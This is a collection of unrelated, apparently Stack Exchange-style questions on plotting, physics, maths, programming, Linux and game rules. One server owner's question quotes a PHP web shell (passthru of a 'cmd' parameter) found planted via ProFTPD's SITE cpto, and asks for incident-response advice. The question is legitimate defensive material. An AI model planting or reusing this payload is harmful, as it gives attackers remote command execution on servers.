I'm aware of the possibility given by pgfplots to have two y-axes, one on the left and one on the right with two different scales. But I'd like to explore other ways to have multiple axes, e.g. putting a separate axis besides a given plot.  I've studied the groupplot environment and tried to put a second y-axis on the left of a plot.  Here's my MWE:  \documentclass{article} \usepackage{lmodern} \usepackage{pgfplots} \pgfplotsset{compat=1.3} \usepgfplotslibrary{groupplots} \begin{document} \pgfkeys{    /pgf/number format/.cd,        set decimal separator={,{\!}},       set thousands separator={} } \pgfplotsset{    every axis/.append style = {       line width = 1pt,       tick style = {line width=1pt}    } } \begin{tikzpicture}     \begin{groupplot}[         group style = {             group size=3 by 1,             horizontal sep=1.3cm, vertical sep=0pt,         xticklabels at=edge bottom     },     height=5cm, width=9cm,     no markers     ]     % this is the leftmost y axis     \nextgroupplot[         width=2cm,         hide x axis,         axis y line*=left,         ymin=0, ymax=10,         ytick = {0,1,...,10},         ylabel={\color{red}$y_2$}     ]     % this is the red curve     \nextgroupplot[         xmin=0, xmax=10,         xlabel={$x$},         ymin=0, ymax=100,         ytick = {0,20,...,100},         ylabel={\color{blue}$y_1$}     ]         \addplot[very thick, blue, domain=0:10] {x^2};     % this is the blue curve     \nextgroupplot[         xshift=-8.715cm,% see above: horizontal sep=1.3cm          xmin=0, xmax=10,         ymin=0, ymax=10,         hide x axis,         hide y axis,      ]         \addplot[very thick, red, domain=0:10] {0.05*x^2}; \end{groupplot} \end{tikzpicture} \end{document}   that produces the following result:   Q1: Why the yticks for the red curve (label $y_2$) are wrong?  Q2: is there a more neat way to shift left the last plot (red curve), instead of setting "xshift=-8.715cm" after a trial-and-error process?


My eighth-grade physics teacher taught us that the equation for height ($h$) during a free fall in a vacuum is equal to the initial height ($H_0$) minus a constant ($G$, though not the $9.8$ meters per second we know and love) multiplied by time ($t$) squared, divided by $2$. However, $dh\over dt$ is velocity ($v$), and $dv\over dt$ is acceleration ($a$).  If acceleration were constant, then his formula would be fine.  But acceleration is not constant.  It's $G\over h^2$.  So if acceleration changes, then the velocity is not a perfect quadratic equation, meaning the equation he taught us is wrong.  Presumably he was dumbing it down for $13$-year-olds.  What is the actual equation?  How could you arrive at it?  I tried setting up a second-order differential equation, but got stuck on $$dh = G\int {1\over h^2}dt dt$$ In order to solve this problem I would need to express $h$ in terms of $t$, which is the very problem I am trying to solve.  How does one get around this?  I am in Calc BC, so I would love for a step-by-step solution.


Would a Rogue's Uncanny Dodge feature halve the damage of a Magic Missile spell?

This came up during a game this weekend where the rogue player claimed that, since she was taking damage from it and she could see where the "attack" was coming from, she could reduce that damage with this feature.  I allowed it at the time, for the pace of the game. The Rogue feature Uncanny Dodge states:  Starting at 5th level, when an attacker that you can see hits you with an attack, you can use your reaction to halve the attack's damage against you.  In my mind, this excludes the Magic Missile spell, since nowhere in the spell description does it state the word "attack".  You create three glowing darts of magical force. Each dart hits a creature of your choice that you can see within range.  In the future, I would have to say "no", based on my reading of the ability and the spell. Looking for confirmation/counter-arguments.


how to derive the expected value and variance of this exponential distribution

I'm new to probability and I'm stucking with this problem. Let $X$ be a continuous random variable following a pdf $$p(x|\theta)=\frac{\theta}{2}\exp(-\theta |x-\mu|)$$ Then, how can I calculate the expectation $E_p [X]=\int_{-\infty}^{\infty}xp(x|\theta)dx$ and variance $V_p[X]=\int_{-\infty}^{\infty}(x-E_p[X])^2p(x|\theta)dx$ of $X$? Thank you in advance.  edit:[my attempt]  Let $u=x-\mu$,  $$\operatorname{E}[X]=\frac{\theta}{2}\int_{-\infty}^\infty u\  e^{-\theta |u|}\ du+\mu$$ $$=\frac{\theta}{2}\int_{-\infty}^0 u\  e^{\theta u}\ du + \frac{\theta}{2}\int_0 ^{\infty} u\  e^{-\theta u}\ du +\mu $$ $$=-\frac{\theta}{2}\int^{\infty}_0 u\  e^{-\theta u}\ du + \frac{\theta}{2}\int_0 ^{\infty} u\  e^{-\theta u}\ du +\mu $$ $$=\mu$$ and  $$E[X^2]=E[(U+\mu)^2]=E[U^2]+2\mu E[U]+\mu^2= E[U^2]+2\mu E[x-\mu]+\mu^2$$ $$=\frac{\theta}{2} \int_{-\infty}^{\infty}u^2e^{-\theta |u|}du + \mu^2$$ $$=\frac{\theta}{2} \int_{-\infty}^{0}u^2e^{\theta u}du + \frac{\theta}{2} \int_{0}^{\infty}u^2e^{-\theta u}du + \mu^2$$ $$=\frac{\theta}{2} \int_{0}^{\infty}u^2e^{-\theta u}du + \frac{\theta}{2} \int_{0}^{\infty}u^2e^{-\theta u}du + \mu^2$$ $$=\theta \int_0 ^{\infty}u^2e^{-\theta u}du+\mu^2$$ $$=\frac{2}{\theta^2}+\mu^2$$ Thus $$V[X]=E[X^2]-(E[X])^2= \frac{2}{\theta^2}$$ Is this correct?


How to convet string to datetime in python?

now = datetime.strptime(str(col[4].text), '%d.%m.%Y, %H:%M:%S')  print(type(now))   But the output says that the type of the now variable is: class 'datetime.datetime'  Guys i dont know how to covnert it i propriet fromat, can anyone help?


Solve the functional equation $2f(x)=f(ax)$ for some $a$.

I am trying to solve the following functional equation, and could use some help.$$ 2f(x)=f(ax)$$  For some $a\in\mathbb{R}$. By repeated adding $2f(x)$ together we notice that $$2nf(x)=f(a^nx).$$  Also $$2mf(a^{-m}x)=f(x)\Rightarrow \frac{1}{2m}f(x)=f(a^{-m}x).$$  Putting it all together I have for all $m,n\in\mathbb{N}$, $$\frac{n}{m}f(x)=\frac{2n}{2m}f(x)=f(a^{n-m}x)$$  I am unsure of how to proceed from here.


Show that any non-negative rational integer may be written as the sum of two squares if it is of the form....

Show that any non-negative rational integer may be written as the sum of two squares if it is of the form $$2^ip_1^{k_1}p_2^{k_2}\cdots p_m^{k_m}q_1^{2j_1}q_2^{2j_2}\cdots q_n^{2j_n}$$ where the $p_1,p_2,\dots,p_m$ are all primes congruent to $1\bmod 4$, the $q_1,q_2,\dots,q_n$ are all primes congruent to $3\bmod 4$ and $i,k_1,k_2,\dots,k_m,j_1,j_2,\dots,j_n$ are all non-negative integers.   I am completely blank on how to form a solution, so help would be much appreciated.


I appreciate the mechanisms which help bring attention to new answers to old questions - front page sorting, and the moderation tool explicitly designed for it. But I wonder if we can do more. I'm particularly interested in addressing answers whose validity has changed. In the worst case, they were correct when they were posted, but no longer are, so they mislead all the current users who find their way to them looking for an answer. More benignly, perhaps the best answer was good, but slightly flawed.  At this point, a helpful user may post a new answer, which is much better than existing upvoted and accepted answers. It can be difficult to overcome that momentum. What if the default sorting method took this into account? A naive suggestion: if a new answer has a large positive vote velocity, and an old answer has a negative vote velocity, perhaps the default sorting should place the new answer above the old answer. This could help make new answers visible to users who need a correct answer, and also help garner more votes to increase the confidence of the sorting decision.  I know this would be a fairly low-impact change, but nothing is permanent, and I'm afraid of answers with 100 upvotes being pinned at the top for years after they've become obsolete.  Edit: I would welcome other proposals that accomplish the same goal - my naive suggestion wasn't intended to be a complete solution, just one thing that a better sorting method would do.


Showing other products with my website link

I have a website named  which is a single-page website. When I try to find the website using the site  I got the other products links as shown below       and you can see when the site checked in for index ranking.   This is the  where products are shown with my website link  Please let me know how to remove the links from my website?


Using arcpy.da.editor on a transactional version raising errors

I've run up against a wall trying to get an edit session to work on a version. These are the scenarios Ive gone through in the code and their error mesages:  Setting up an edit session not as a context manager: 'workspace already in transaction mode'  target = r'D:\GIS-DATA\bay-arcgis-pro_ParcelEditing.sde\sde.SDE.Staging\sde.SDE.SPRCodeEnforcementCasesStaging' try:     edit =  arcpy.da.Editor(r'D:\GIS-DATA\bay-arcgis-pro_ParcelEditing.sde')     edit.startEditing(False,False)     edit.startOperation()     with arcpy.da.UpdateCursor(target,'*') as cursor:         for row in cursor:             row[3] = 'test'             cursor.updateRow(row) finally:     edit.stopOperation()     edit.stopEditing(True)  Traceback (most recent call last): File "D:\GIS-DATA\editortest.py", line 9, in <module> for row in cursor: RuntimeError: workspace already in transaction mode   Setting up an edit session as a context manager: 'The requested operation is invalid on a closed state'  target = r'D:\GIS-DATA\bay-arcgis-pro_ParcelEditing.sde\sde.SDE.Staging\sde.SDE.SPRCodeEnforcementCasesStaging' with arcpy.da.Editor(r'D:\GIS-DATA\bay-arcgis-pro_ParcelEditing.sde'):     with arcpy.da.UpdateCursor(target,'*') as cursor:         for row in cursor:             row[3] = 'test'             cursor.updateRow(row)  Traceback (most recent call last): File "D:\GIS-DATA\editortest.py", line 8, in <module> cursor.updateRow(row) RuntimeError: The requested operation is invalid on a closed state   The data is versioned on a SQLServer geodatabase.


Can Romex (NM-B) cable be run through conduit?

A few days ago I asked an electrician if I could run cable through conduit - he gave me a funny look and said "No, Romex is not allowed in conduit." When I searched online, there seems to be a wide belief that Romex cannot be run through conduit, but no one can find the code which states this.  See for example , , or .   However, in many other places it's stated that you can, for example  or .  And , someone claims that the NEC says it's only allowed if explicitly stated in local code! So, which is it?  Can I run Romex through conduit!?


We have a tmux session that several people need to connect to. Some people like the Ctrl+a prefix shortcut and some people prefer the default Ctrl+b shortcut. Is there anything I can put in the .tmux.conf file to allow both shortcuts to work?  It seems that the standard  set -g prefix C-a   command will unset the Ctrl+b shortcut.  I have also tried this:  set -g prefix C-a set -g prefix C-b   but the second line then unsets the Ctrl+a


Sometimes I get a -1 immediately after asking a question. I don't know why. Is this a bug?  I get this immediately when just 1 view is recorded that's me. No one saw my question and I have a -1!  For example I asked this question today and got -1 immediately:


Do poor editors get flagged if enough of their edits are rejected?

I have recently reviewed several subsequent edits for the same person placing an "ios" tag on multiple iDevice questions.  I saw at least 5 before I decided to stop reviewing and flagging him at "too minor", and simply ask here.  I suspect he's likely just editing on auto-pilot for the badge.  Do they get flagged as poor editors after some time, or is this legit behavior and should nothing be done about him (and similar)?


I have 2 distance functions $d(x,y)=|x^2-y^2|$ and $d(x,y)=|x^3-y^3|$ and I am trying to prove that they are metrics on $\mathbb R$, or give a counterexample that they are not metrics on $\mathbb R$.  I managed to prove the first 3 properties for the 2nd function namely:   $d(x,y)\ge0$ $d(x,y)=0$ iff $x=y$ $d(x,y)=d(y,x)$   and I now have shown that the 1st function is not a metric.  But for the triangle inequality property, $d(x,y)\le d(x,z) + d(z,y)$, Im stuck on it. How would go about proving it for $d(x,y)=|x^3-y^3|$? Thanks.


What happen when we shutdown system during OS update process

I had an interesting question asked for which I didn’t have any clue.  I have Googled around this about haven’t found any result of which help me answer this question. So here are the questions:   The OS Upgrades during installation puts a message “Do not shut down your machine”. If I shut it down the machine become unusable and I have to reinstall the OS? If the warning is just a caution with no harm done if I power down the machine, how does the update process do this?


Is reflection of light due to absorbtion and reemission?

Is reflection of light from a smooth surface because of absorbtion and reemission of photons by surface matter? Or is it just wrong to ask this kind of a question because of wave and partical duality of light?


How do i run a .sh file on startup (ubuntu server)

How do i run a file named start.sh file on startup if im on ubuntu server? i decided to install ubuntu server on a pc that i rarely use so i can have my minecraft server on it ... and i want to be able to add plugins and such on it without having to go to that computer all the time (switch screens and such) and just use ftp and transfer all of the files that way and then restart my computer then the new plugins are loaded. can someone please help me with this? :)  (sorry if this was confusing its really late here atm)


Is it a bug when a tag is seen through a concealed spoiler?

I was just looking through pages with dead images, and stumbled upon the    on Science Fiction and Fantasy. Here's what I saw:    Is this just me? Is this a bug, or is it by design?    Just in case, I use latest Opera on Ubuntu 16.04


explanation of DC ceiling fan motor and hum and noise

I asked a while back why does a ~$150 120vac electric ceiling fan, above my bed at home, hum and agitate me. Didn't come to a 100% solid reason but I believe it's due to that motor being a brushless single phase AC where the windings in the case that surround the rotating armature cause the metal motor case to vibrate as the winding(s) are on/off energized to create a rotating magnetic field.  That force creates a vibration in the thin metal motor case, more so on the slow motor speed setting, that can be heard.  Maybe if it were a thicker metal case and the windings were encased in epoxy it would prevent any audible vibration from happening... but i get it,  unrealistic to mass produce such a thing and sell for $100. I see DC fan motors now for ceiling fans being advertised, although such a ceiling fan runs $300+.  Not asking what dc motor ceiling fan i should buy... sort of... but can someone elaborate on the physical and electrical vocabulary and operating principles of such a multi-speed DC motor?  I want to have a good understanding to see if I can understand why or why not a vibration may or not be likely with such a motor... expecting them to be mass produced also having a thin metal motor casing.  I believe it's the motor casing that's vibrating when the electric motor is running causing an audible hum, would like to figure out how likely that would be possible in the type of DC motors being used in some ceiling fans now.


How to adjust background colorbox size for inline code in pandoc markdown

provides a nice way to add background colour to inline code snippets. Using that, my YAML header includes this:  --- title: My title subtitle: \emph{Documentation last updated on \today} toc: true geometry: "left=4cm,right=4cm,top=3cm,bottom=3cm" output: pdf_document header-includes:  - \usepackage{fvextra}  - \DefineVerbatimEnvironment{Highlighting}{Verbatim}{breaklines,commandchars=\\\{\}}   - \definecolor{bgcolor}{HTML}{E0E0E0}  - \let\oldtexttt\texttt   - \renewcommand{\texttt}[1]{      \colorbox{bgcolor}{\oldtexttt{#1}}    } ---  \newpage{}  Overview ---  Queries the table `SOME_TABLE` and does something something with the data, validating Stuff and eating Pi. It then goes on to do some other stuff and finishes with doing some more stuff.  Usage ---  This explains the usage.  Area 1 ---  The following sequence lays out the process.  1. Query data from `SOME_TABLE` applying the following filters:      ```python     COL1 == SOME_DATE     COL2 == "SOME_STRING"     COL3 != "ANOTHER_STRING"     ```  2. Do something something something:      ```python     def get_function(param1, param2):         if param1:             res = dosomething(param1)         else:             res = dosomething(param2)         return res     ```      The example continues.   However, the box around the code that contains the background colour seems to take up the whole line and "touches" capital characters in the line below it (in pdf output). How can I adjust the size of that box to take up only some proportion of the line height, for example, max the height of capital letters of the code text?  EDIT:  Added the complete document layout. The issue is well visible in the Overview section, where the box around SOME_TABLE touches the top of the capital letters in the line below it.  Also a screenshot of the original text:    EDIT2  The resulting tex file from this markdown document:  \newpage{}  \hypertarget{overview}{% \subsection{Overview}\label{overview}}  Queries the table \texttt{SOME\_TABLE} and does something something with the data, validating Stuff and eating Pi. It then goes on to do some other stuff and finishes with doing some more stuff.  \hypertarget{usage}{% \subsection{Usage}\label{usage}}  This explains the usage.  \hypertarget{area-1}{% \subsection{Area 1}\label{area-1}}  The following sequence lays out the process.  \begin{enumerate} \def\labelenumi{\arabic{enumi}.} \item   Query data from \texttt{SOME\_TABLE} applying the following filters:  \begin{Shaded} \begin{Highlighting}[] \NormalTok{COL1 }\OperatorTok{==}\NormalTok{ SOME_DATE} \NormalTok{COL2 }\OperatorTok{==} \StringTok{"SOME_STRING"} \NormalTok{COL3 }\OperatorTok{!=} \StringTok{"ANOTHER_STRING"} \end{Highlighting} \end{Shaded} \item   Do something something something:  \begin{Shaded} \begin{Highlighting}[] \KeywordTok{def}\NormalTok{ get_function(param1, param2):}     \ControlFlowTok{if}\NormalTok{ param1:} \NormalTok{        res }\OperatorTok{=}\NormalTok{ dosomething(param1)}     \ControlFlowTok{else}\NormalTok{:} \NormalTok{        res }\OperatorTok{=}\NormalTok{ dosomething(param2)}     \ControlFlowTok{return}\NormalTok{ res} \end{Highlighting} \end{Shaded}    The example continues. \end{enumerate}


Intutitive meaning behind the formal definition of sufficient statistic?

According to the definition of sufficiency, a statistic is sufficient for a parameter if the conditional distribution of $X$ given a value of statistic does not depend upon the parameter.   What I am trying to understand is how does conditional distribution of $X$ not being a function of the parameter fit into the intuitive meaning of sufficiency i.e statistic value holding the same amount of information as that of the respective sample.


I've begun cooking Asian food in the past year or so, and in many Korean and Chinese beef recipes, I see instructions to soak beef in water. Just plain water, not salt water or anything. And every recipe seems to have a different  time - from 5 minutes to like, multiple hours.  I inquired about this and was given various reasons for this step, including "to remove the blood (because it is simply undesirable", "To remove the blood, because it gives the meat a bad taste" or "To soften the beef".  I'm wondering:   Does soaking meat in water really remove that much blood? How much of a flavor component is blood and why would it give it a bad taste (especially since i've never soaked beef before and I've like the taste just fine)? What is the action of solute-free water on a piece of beef immersed in it? Can it really tenderise it to any degree, or is there any osmosis occurring or other such physical/chemical action?


The plural of 'passerby' is 'passersby' with an 's' acting like an infix (W-B says that this is the only plural form of the  word). This seems like a very interesting exception, so I thought I would ask a question.  Are there any other English words that are made plural by an 's' put inside the noun?  One criterion has to be met: the singular noun is composed of one (unhyphenated) word only.


How tot start proving $A \times B \times C \ne (A \times B) \times C$?

This is a problem from Discrete Mathematics and its Applications:   Explain why $A \times B \times C$ and $(A \times B) \times C$ are not the same.   I understand the process behind the Cartesian product of two sets:  Let $A$ and $B$ be sets. The Cartesian Product of $A$ and $B$, denoted by $A \times B$, is the set of all ordered pairs $(a,b)$, where $a \in A$ and $b \in B$. Hence, $$A \times B = \{(a,b)\mid a \in A \land b \in B\}.$$  Youre forming a set of all the possible ordered pairs where one element is a member of the first set and the other element is a member of the other set. How would you start this proof or explanation? To me these should be the same because it involves the same operation (Cartesian cross product). Usually when there are three expressions that are applied the same operation, you just go left to right, say 4 * 5 * 6. I don't understand how you would explain A x B x C is not equal to (A x B) x C. To me, using my last example, that's like explaining 4 * 5 * 6 is not equal to (4 * 5) *6.


Meaning of "from" in "bank statements or payslips from the last 6 months"

UK Immigration  "bank statements or payslips from the last 6 months" for a Standard Visitor visa. I cannot understand this usage of the word "from".    give many definitions, the only relevant one in my view is:     3.1 Indicating the date at which something was created:      a document dating from the thirteenth century   However, it is still ambiguous for me:    The statement must be done at any point of time in the last 6 months and its period duration is not specified in the sentence; The statement must cover the last 6 months.   Could you clarify the meaning of such usage?


Convergence of a Special Series as N is large

I'm trying to find a general formula for the series and x is a constant: $$\sum\limits_{i=1}^N  \frac{i}{(1+r)^i}$$ I have deduced the general formula for the sum. $$\frac{(1+r)^{N+1}-(1+r)-rN}{r^2(1+r)^N}$$ Will this sum converge to some value when N is very large? Could someone explain how to deal with it?


Can a non-EU citizen travel freely within the Schengen area without passport?

My current situation is that I have residence permit of Germany (as a stamp in passport) and I wish to apply for UK visa in next few days from Germany and won't have my passport anymore during the processing time.  Instead of waiting for the process, I wish to travel to Scandinavian countries immediately on holidays, later receive my passport from visa center after I return back to Germany.   I am wondering if photocopy of passport and residence permit suffice as identity proof to border control (if I face them)? What else are valid documents that I can show as valid identity proof to border control? What are the exact problems I will face if I face the border control, and they are not satisfied with my travel documents?


I'm getting errors in a matrix equation. When I compile it looks fine, but I'd like to fix them so I don't have to press return for every error at compile time. The code for the equation is:  \begin{equation*}  \begin{bmatrix} U(1,t)  & \cdots & U(n,t) \\  \vdots & \ddots & \vdots \\ O_{n1} & \cdots & O_{nn}  \end{bmatrix} \times \begin{bmatrix} W(1,1)  & \cdots & W(1,n) \\  \vdots & \ddots & \vdots \\  W(n,1) & \cdots & W(n,n)  \end{bmatrix} = \begin{bmatrix}  D(1,t)  & \cdots & D(n,t) \\ \vdots & \ddots & \vdots \\ I_{n1} & \cdots & I_{nn} \end{bmatrix}  \end{equation*}   The errors I'm getting are related to missing $'s inserted.


Can someone please tell me how to make a bootable USB-Stick with UbuntuStudio 19.10 Eoan Ermine?

I have a laptop with Ubuntu 12.04.6 LTS as the OS. I want to install  Ubuntu Studio 19.10 Eoan Ermine on this laptop which is the Asus Eee PC with USB 2.0.


How much am I floating above the chair I am sitting on?

The electrostatic repulsion between me and the chair keeps me hovering above the chair at all times.   What is the average distance that exists between any two everyday object due to electrostatic repulsion and gravity? How can this distance be determined?


I have a self made checkbox in a script. Now I want to create a hotkey in the Input manager to toggle it.  What I have done so far is to create a keymap item with wm.context_toggle. But I cannot get the Context Attribute to work. I grab the one from my script, the Python term in the tooltip. Which is WindowManager.deselect_bool and with that I get an error that the "Object has no attribute WindowManager".  What is the proper Context Attribute term here? Is it even possible to do it this way? If not, what is the proper way to assign a toggle hotkey for my custom checkbox?  Script:  import bpy from bpy.props import BoolProperty  class LayoutDemoPanel(bpy.types.Panel):     bl_label = "Demo Panel"     bl_space_type = 'VIEW_3D'     bl_region_type = 'UI'      def draw(self, context):         layout = self.layout          wm = context.window_manager # Our bool is in the windows_manager         layout.prop(wm, "deselect_bool") # Our checkbox  def register():     bpy.types.WindowManager.deselect_bool = bpy.props.BoolProperty(     name="Checkbox", description="A checkbox", default = False)     bpy.utils.register_module(__name__)  def unregister():     del bpy.types.WindowManager.deselect_bool # Unregister our flag when unregister.     bpy.utils.unregister_module(__name__)  if __name__ == "__main__":     register()


What pronouns should you use after the pronoun one?

For instance, if I wanna write: one should not be judgmental if they don't know the truth. Is this correct?  I found this structure e.g. One is said to communicate successfully when he or she is able to express what he or she feels is a bit redundant, I have to repeat he or she all the time.  So, what pronoun should I use in order to refer the previous ONE when I'm writing in the way in the example sentence?


When writing a class/package, how can I run code if/when another package is loaded?

I'm writing a thesis class file and I'd like to delay the running of code to after a specific package is loaded:  \AtEndOfOtherPackage{listings}{%   \lstset{language=Python}}   Is there a command that already exists for the task? If there isn't, how could it be effected?


There is a , and numerous examples, on how to efficiently perform collision detection for a line with a grid. However, I'm drawing up blanks on how to do the same thing but with a line that has thickness. In my game, I'm considering adding projectiles that are not infinitly thin (for example, a giant plasma ball launcher), and I need to figure out which cells along a grid that it collides with. Initially I thought it'd be as simple as just using the Minkowski Sum method of adding the width/height of the projectile to each cell of the grid, and then treating the projectile as infinity thin line along a bloated-overlapping-grid, but that doesn't look like it's going to work with the existing algorithm. Are there any other papers/algorithms that describe how to accomplish this? Or is there a way to modify the existing algorithm to accomplish this? Or are there any tricks to implementing this indirectly?


Connecting to existing terminal from iPhone to Ubunutu desktop

I run a small Minecraft server on an Ubuntu PC in my house. Sometimes I have to manage the server outside of my home so I use an ssh client on my phone. This works, but each time I close the app and then relaunch I have to create a new terminal session. How can I toggle to the existing one?


Can we generate a WSDL from an Apex class

Is it possible to generate WSDL from an Apex class ??  Cause i want to check one request but i don't have the WSDl to check from SOAP UI.


How can I have multiple foreign keys in one table?

I have a setup where I have accounts and teams. One account can belong to multiple teams and one team can belong to multiple accounts. How should I go about designing this in Postgres?


Difference between 95% of confidence intervals containing mean vs 95% probability of one interval containing the mean?

Given a random sample $x$ and wishing to estimate the value of mean $\mu$ of a population from which $x$ was drawn, I construct a 95% confidence interval $CI_{x}$ using $\mu_{x}$ and $\sigma_{x}$. If I repeat this procedure an infinite number of times, drawing different samples, 95% of these intervals will contain the true population mean $\mu$.   I fail to understand why it is incorrect to say that the interval constructed using one sample has a 95% chance (or probability) of containing $\mu$.   As an analogy, in a generous lottery 95% of tickets are winners, and I just bought a ticket, my ticket has a 95% chance of being a winning ticket.   I've seen arguments that once a sample is drawn and a confidence interval calculated, the interval does or does not contain the true mean. There is no associated probability. Going back to the lottery, one could make a similar argument. But as I don't yet know the results of the lottery, why can't I say that my ticket has a 95% chance of being a winning ticket?


Is it safe to check floating point values for equality to 0?

I know you can't rely on equality between double or decimal type values normally, but I'm wondering if 0 is a special case.  While I can understand imprecisions between 0.00000000000001 and 0.00000000000002, 0 itself seems pretty hard to mess up since it's just nothing.  If you're imprecise on nothing, it's not nothing anymore.  But I don't know much about this topic so it's not for me to say.  double x = 0.0; return (x == 0.0) ? true : false;   Will that always return true?


Which is correct: "will resume" or "will be resumed"?

Here are the two sentences using will resume and will be resumed. What is correct here? Also, is it true that will should always be followed by be?        My office process will be resumed once I complete 2 months in the state.   My office process will resume once I complete 2 months in the state.


why only square root approach to check number is prime

Why do we use only square root approach to find a number is prime or not? why not cube root & 4rth root?


proving that two recursive series converge to the same limit

given two groups:$$a_{n+1}=\frac{a_n+b_n}2, b_{n+1}=\frac{2a_n*b_n}{a_n+b_n}, a_1=x,b_1=y$$ We need to prove that both series converge to the same limit, and show what the limit is, without knowledge of which value is greater at the start.  I managed to prove that for every $n$, $a_n*b_n=x*y$, which would mean that $b_n=\frac{xy}{a_n}$. I also know that the two series are bounded by x and y, but I still cannot figure out how to carry on from there. Any advice?


Cardinality of power set and binary sequence

Let $A$ be a set and $P(A)$ be the power set of $A$. Define $B(A)$ as   the set of all functions $F:A\rightarrow\{0,1\}$. For example,   $B(\mathbb{N})$ is the set of all binary sequences. Prove that $P(A)$   has the same cardinality as $B(A)$.   When $A$ is finite, this is easy to prove. I am interested in other cases; for instance when $A$ is countably infinite or uncountable. I am also a bit confused with the definition of $B(A)$. Could anyone help me with this one please?


Find all integers $(x, y)$ such that $1 + 2^x + 2^{2x + 1} = y^2$

Find all integers $$(x, y)$$ such that $$1 + 2^x + 2^{2x + 1} = y^2$$ So I basically used $$ f(x) = 1 + 2^x + 2^{2x + 1} = y^2$$ and created a table from 0 to 20. I got two pairs of integers: $$(0, \pm2)$$ and $$(4, \pm23)$$ I want to know if there's another method or if there are any other pairs of integers, or a generalisation.


Can a multiclassed Sorcerer/Tempest Cleric use Charisma instead of Wisdom to determine save DC for the Wrath of the Storm feature?

I have a question related to this one:   Since the rules don't specify how you calculate your DC for this ability, could a multiclass Sorcerer/Cleric use their Charisma instead of their Wisdom modifier?


how to set apex scheduler every 5 minutes

I have the scheduler class, when I was about to set the Apex scheduler, I noticed that I can only select the time which will be every hour but i need to run it every 5 minutes, can you give me some ideas to achieve this?  This is my scheduler class  global class CaseBreachTAT_Scheduler implements Schedulable{    global void execute(SchedulableContext sc) {       CaseBreachTAT_Batch CaseBT_B = new CaseBreachTAT_Batch();        database.executebatch(CaseBT_B);    } }


Why electron does not lose energy in orbit when revolving around nucleus

Why electron does not fall into nucleus from orbit of an atom? As accelerated charged particle radiates energy, it should lose energy.


Has an NFL team ever won their division with a losing record within the division itself?

Has an NFL team ever won its division with a losing record in the division?  I'm wondering if  could win the  this year with four division losses, in the six they play within the division, by virtue of having the best record overall. I'd like to know if that's ever happened before with any other past division winner.


dpkg: "Package is in a very bad inconsistent state" how to fix it?

When I run command   sudo apt-get -f    I get this error  dpkg: error processing gcc-4.8-base:i386 (--configure): Package is in a very bad inconsistent state - you should reinstall it before attempting configuration. Errors were encountered while processing: gcc-4.8-base:i386 E: Sub-process /usr/bin/dpkg returned an error code (1)   I'm using Ubuntu 13.10


What are the disadvantages of removing the application directories instead of using uninstallers?

Uninstalling a lot of stuff at the same time takes too long. If I just remove the directory, it will probably leave some registry records and what else?


Determine server damage - File injected possibly through ProFTPD

I just found a file at the /tmp/ directory named .<?php passthru($_GET['cmd']);echo 'm3rg3';?>  Owner and GroupOwner are "proftpd" and "nogroup", respectively, as follows:  -rw-r--r-- 1 proftpd nogroup   89 Apr  9 01:15 .<?php passthru($_GET['cmd']);echo 'm3rg3';?>   FILE CONTENT  proftpd: 45.33.17.183:39686: SITE cpto /tmp/.<?php passthru($_GET['cmd']);echo 'm3rg3';?>   QUESTIONS   How could one break into my server through ProFTPD? What can I do to fix this issue? What else should I look for after this finding? Is there a default password for the user "proftpd"? Can I find the "proftpd" password? At the "/tmp/" directory* I see this file .<?php passthru($_GET['cmd']);echo 'm3rg3';?> which is owned by "proftpd". Does is imply that someone successfully logged through FTP and uploaded that file there? Is there another way that it happened? How can I find the hole that allowed this happening?   MEASURES TAKEN SO FAR   Changed ProFTPD port from 21 to something else; Commented mod_copy.c as suggested on this russian site:  Moved the injected file from /tmp/ to another directory, eg.: /tmp/injected_file/ Didn't change ANY password (note: ftp is not used on this server). Searched for all files from user proftpd using find / -user proftpd. Nothing was found, besides the one file mentioned in the beginning.


Chrome bookmark on home screen to BBC News opens as webapp

Using my Samsung Galaxy Tab3 10.1 (4.4.2) I have just started using Chrome as the default browser instead of the built in "Internet".  I have recreated many of the bookmark links on the home screen without issue, and they open Chrome as expected.   However if I open  and then "Add to Home Screen", the bookmark opens Chrome as a webapp meanng there are no tabs or any ability to use it like a normal browser.  How on earth can I stop it opening as a webapp, and make it open as a normal tab?


How to interpret the magnetic vector potential?

In electromagnetism, we can re-write the electric field in terms of the electric scalar potential, and the magnetic vector potential.  That is:  $E = -\nabla\phi - \frac{\partial A}{\partial t}$, where $A$ is such that $B = \nabla \times A$.  I have an intuitive understanding of $\phi$ as the electric potential, as I am familiar with the formula $F = -\nabla V$, where $V$ is the potential energy.  Therefore since $E = F/q$, it is easy to see how $\phi$ can be interpreted as the electric potential, in the electrostatic case.  I also know that $F = \frac{dp}{dt}$, where $p$ is momentum, and thus this leads me to believe that $A$ should be somehow connected to momentum, maybe like a "potential momentum".  Is there such an intuitive way to understand what $A$ is physically?


Prove or disprove an inequality involving complex numbers

Consider following inequality:     $|z_1 + z_2|\ge|z_1| - |z_2|  \  \ \ \ \ \  z_1,z_2 \in \mathbb{C}$   Is that true always? I tried many examples and it was correct but I don't know how to prove that if it's right.


unable to get the debug log of a site guest user

I am trying to track log of the site guest user. So I have created a debug log for the guest user. In order to spot which one is the guest user, I go to the site setting > public access setting > view users. And I am pretty sure I have created debug log track for that user.   However, when I operating on the site web pages as a guest user, it doesn't generate any debug log. I am quite confused why was that.   Any suggestions?


Is Double-Annotating HREFLANG always alright? What if I remove one of them?

I'm managing a website that has a US section and a UK & International section. Let's say these are divided as:   website.com/ website.com/us   The website has hreflang implemented correctly as follows:  <link rel="alternate" href="https://www.website.com/us/" hreflang="en-US" /> <link rel="alternate" href="https://www.website.com/" hreflang="en-GB" /> <link rel="alternate" href="https://www.website.com/" hreflang="x-default" />   My questions are as follows:   Is it absolutely OK to have 2 annotations (en-GB and x-default) for the same page? Does Google have an official recommendation on this? And is there a chance / situation where this could become problematic? If the webmaster were to remove the en-GB annotation and just use x-default for all English versions other than en-US, would that adversely affect visibility and rankings in the UK?


Setting audio output priority in Ubuntu 20.04

I want to achieve the following behavior for my audio outputs:     if HDMI is connected use it as audio output device   else if headphones are connected use them as output device   else use built-in speakers     I already used this answer  to set HDMI as default audio output on system boot. Now I have the problem that whenever headphones are connected the audio output switches to them. So, headphones have higher priority than HDMI.  Is there any way to change the priority in the described way?


Move user folders to secondary drive in windows 10

I've got a notebook with a rather small SSD and a large secondary HDD. Now I want to install Windows 10 so the Userprofiles (c:\Users) are stored on the secondary HDD, since there is more space.  I will install Windows afresh, so I won't need to take care of existing files.  One way would be to move every single user data Folder (documents, Images, Videos, ...) to the HDD, but I'd rather move the full thing instead, if possible.  Any ideas?


